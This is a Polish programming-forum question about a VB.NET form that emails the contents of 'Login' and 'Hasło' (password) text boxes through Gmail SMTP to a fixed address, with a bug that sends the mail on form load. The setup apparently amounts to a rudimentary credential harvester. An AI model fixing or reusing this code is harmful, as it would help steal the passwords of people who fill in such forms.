VB Nie wysyła tekstu który jest wpisany w text boxie

[Morrow]

Witam mam problem napisałem sobie małą aplikację która będzie wysyłać tekst na maila wpisany do text boxa przez użytkownika aplikacji.
Klikam f5 wpisuje do text boxa dane wysyła mi na maila wiadomość ale bez tego co jest wpisane w text boxie. Wpisałem do textboxa jakis text (przed wpisaniem w aplikacji) uruchamiam aplikacje dopisuje coś w textboxie i wysyła mi tylko to co było przed dopisaniem.
O to kod aplikacji:

Imports System
Imports System.Net.Mail
Imports System.Threading
Imports System.Web


Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Dim smtpServer As New SmtpClient()
        Dim mail As New MailMessage()
        smtpServer.Credentials = New Net.NetworkCredential("workinggoldhack", "********")
        smtpServer.Port = 587
        smtpServer.Host = "smtp.gmail.com"
        smtpServer.EnableSsl = True
        mail = New MailMessage()
        mail.From = New MailAddress("[email protected]")
        mail.To.Add("[email protected]")
        mail.Subject = ("temat")
        mail.Body = "Login: " + login.Text & Chr(12) + "Hasło: " + haslo.Text
        smtpServer.Send(mail)
    End Sub
End Class